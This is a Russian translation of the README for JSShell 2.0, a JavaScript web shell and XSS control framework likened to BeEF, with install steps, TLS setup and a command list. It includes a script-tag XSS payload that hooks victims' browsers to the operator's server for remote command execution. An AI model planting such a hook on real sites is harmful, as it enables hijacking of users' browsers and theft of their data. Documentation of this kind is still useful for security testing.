
Интерактивная многопользовательская веб-оболочка для JavaScript
Интерактивная многопользовательская веб-оболочка на JavaScript. Изначально была создана для отладки удаленных экзотических браузеров во время экспериментов и исследований. Этот инструмент можно легко прикрепить к XSS (межсайтовый скриптинг) пейлоаду для достижения удаленного выполнения кода в браузере (аналогично фреймворку BeeF).
Версия 2.0 создана с нуля, представляя новые захватывающие возможности, стабильность и удобство сопровождения.
В каталоге resources обновите файл config.json в соответствии с вашей конфигурацией:
docker, укажите хост базы данных как db
(внутреннее имя хоста).shell.js выполняет AJAX-вызовы для регистрации и опроса
новых команд. Обычно это http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}.Теперь JSShell поддерживает TLS, что означает, что вы можете генерировать TLS-сертификаты и передавать их веб-серверу.
Веб-сервер определит доменное имя из файла config.json. Чтобы создать сертификат,
используйте скрипт create_cert.py в папке scripts:
$ cd scripts
$ python create_cert.py --domain <ВАШ_ДОМЕН> --email <ВАШ_EMAIL>
Обратите внимание, что веб-сервер должен быть остановлен, чтобы скрипт работал корректно. На этом этапе мы успешно сгенерировали наши сертификаты! Единственные изменения, которые необходимо внести:
config.json измените схему поля URL на https.docker-compose.yml измените открытый порт контейнера web на 443.Эта новая версия поддерживает установку и запуск JSShell через docker и docker-compose. Теперь, чтобы установить и запустить
весь фреймворк JSShell, просто выполните:
$ ./scripts/start_docker_shell.sh
Этот скрипт сделает следующее:
JSShellЕсли вы все еще хотите использовать старый метод установки, просто убедитесь, что у вас запущена база данных MongoDB
и обновите файл config.json, находящийся в каталоге resources.
Я рекомендую использовать виртуальное окружение с pyenv:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Или с помощью virtualenv:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Затем установите зависимости:
$ pip install -r requirements.txt
Если вы использовали метод docker, выполнять следующую процедуру не нужно.
В противном случае, после настройки базы данных необходимо запустить веб-API сервер. Для этого выполните:
$ python manage.py web
Это создаст и запустит веб-сервер, который будет прослушивать входящие подключения и предоставлять наш код JSShell.
Теперь, чтобы запустить CLI JSShell, выполните тот же скрипт, но с флагом shell:
$ python manage.py shell
После настройки и запуска необходимых компонентов введите команду help, чтобы увидеть доступные команды:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
от @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Редактировать файл в текстовом редакторе
help Вывести список доступных команд или получить подробную справку по конкретной команде
history Просмотреть, выполнить, отредактировать, сохранить или очистить ранее введенные команды
ipy Войти в интерактивную оболочку IPython
py Выполнить команду Python или войти в оболочку
quit Выйти из приложения
Shell Based Operations
--------------------------------------------------------------------------------
back Отменить выбор текущего выбранного клиента
clients Список и управление клиентами, зарегистрированными в нашей системе
commands Показать выполненные команды для выбранного клиента
dump Сохранить вывод команды на диск
execute Выполнить команды на выбранном клиенте
select Выбрать клиента как текущий
>>
JSShell поддерживает 2 метода работы:
Подобно другим фреймворкам управления XSS (например, BeeF), JSShell способен управлять успешными эксплуатациями XSS.
Например, если вы можете внедрить тег script, вставьте следующий ресурс в свой пейлоад, и в консоли появится новый клиент:
<script src="http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}/content/js"></script>
Если вы хотите отлаживать экзотические и необычные браузеры, просто перейдите по адресу http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}/ и
в вашем CLI-клиенте JSShell появится новый клиент. Теперь его можно отлаживать через консоль JSShell.
Canop за JSON.prune